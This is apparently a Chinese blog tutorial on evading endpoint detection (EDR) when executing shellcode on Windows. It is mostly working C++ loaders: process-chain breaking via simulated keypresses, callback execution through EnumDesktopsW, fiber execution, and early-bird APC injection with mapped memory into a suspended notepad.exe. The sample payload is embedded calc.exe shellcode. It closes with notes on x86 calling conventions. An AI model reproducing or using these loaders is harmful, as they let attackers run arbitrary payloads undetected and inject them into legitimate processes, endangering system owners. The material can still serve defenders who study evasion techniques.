文章目录
- 前记
- 进程断链
- 回调执行
- 纤程
- 内存属性修改
- early bird+Mapping
- 后记
- reference
前记
触发EDR远程线程扫描关键api:createprocess
、createremotethread
、void
(指针)、createthread
为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路
进程断链
#include <windows.h>
#include<iostream>
void SimulateKeyPress(WORD keyCode) {
INPUT inputs[2] = {};
ZeroMemory(inputs, sizeof(inputs));
inputs[0].type = INPUT_KEYBOARD;
inputs[0].ki.wVk = keyCode;
Sleep(500);
inputs[1].type = INPUT_KEYBOARD;
inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
// 调用 ShellExecute 函数,执行一个命令
HINSTANCE hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
if ((int)hReturn < 32) {
printf("0");
return 0;
}
printf("% d", (int)hReturn);
HWND hExplorer = FindWindowA("CabinetWClass", NULL);
if (hExplorer) {
// 将资源管理器窗口设置为前台窗口
SetForegroundWindow(hExplorer);
}
else {
printf("Explorer window not found.\n");
}
SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
SimulateKeyPress(VK_RETURN);
return 0;
}
通过模拟键盘点击,完成进程断链,父进程为explore
进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为
回调执行
回调可以很好的规避EDR对远程线程的内存扫描,举例如下
#include <windows.h>
#include<iostream>
//calc shellcode
unsigned char rawData[276] = {};
int main()
{
LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, rawData, sizeof(rawData));
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
return 0;
}
纤程
纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。
#include <windows.h>
void like() {
//calc shellcode
unsigned char rawData[276] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(Alloc, rawData, sizeof(rawData));
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
SwitchToFiber(shellFiber);
}
int main() {
like();
}
内存属性修改
内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread
让EDR扫描内存时处于无权限状态即可
early bird+Mapping
early bird,APC注入的变种
Mapping:内存映射
- 创建一个挂起的进程(通常是windows的合法进程)
- 在挂起的进程内申请一块可读可写可执行的内存空间
- 往申请的空间内写入shellcode
- 将APC插入到该进程的主线程
- 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")
void mymemcpy(void* dst, void* src, size_t size);
int main()
{
//calc shellcode
unsigned char rawData[276] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(STARTUPINFO);
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
mymemcpy(lpMapAddress, rawData, sizeof(rawData));
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
CloseHandle(hMapping);
UnmapViewOfFile(lpMapAddress);
return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
char* psrc, * pdst;
if (dst == NULL || src == NULL)
return;
if (dst <= src)
{
psrc = (char*)src;
pdst = (char*)dst;
while (size--)
*pdst++ = *psrc++;
}
else
{
psrc = (char*)src + size - 1;
pdst = (char*)dst + size - 1;
while (size--) {
*pdst-- = *psrc--;
}
}
}
后记
传参规则
#include<iostream>
using namespace std;
void func(int a, int b)
{
cout << "func:\n";
cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{
int v = 3;
func(v, v++);
cout << "v=" << v;
v = 3;
func(v, ++v);
v = 3;
func(++v, v);
v = 3;
func(v++, v);
return 0;
}
func:
a = 3 b = 3
v=4
func:
a = 4 b = 4
func:
a = 4 b = 4
func:
a = 3 b = 3
函数声明区别
__cdecl:
C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。
__stdcall:
windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。
__fastcall:
快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。
在x86下出现明显特征
19: func1(4, 5);//__cdecl
00981B31 6A 05 push 5
00981B33 6A 04 push 4
00981B35 E8 2D F7 FF FF call func1 (0981267h)
00981B3A 83 C4 08 add esp,8
20: func2(4, 5);//__stdcall
00981B3D 6A 05 push 5
00981B3F 6A 04 push 4
00981B41 E8 62 F7 FF FF call func2 (09812A8h)
21: func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00 mov edx,5
00981B4B B9 04 00 00 00 mov ecx,4
00981B50 E8 2C F6 FF FF call func3 (0981181h)
自实现copymemory
void mymemcpy(void* dst, void* src, size_t size)
{
char* psrc, * pdst;
if (dst == NULL || src == NULL)
return;
if (dst <= src)
{
psrc = (char*)src;
pdst = (char*)dst;
while (size--)
*pdst++ = *psrc++;
}
else
{
psrc = (char*)src + size - 1;
pdst = (char*)dst + size - 1;
while (size--) {
*pdst-- = *psrc--;
}
}
}
reference
https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9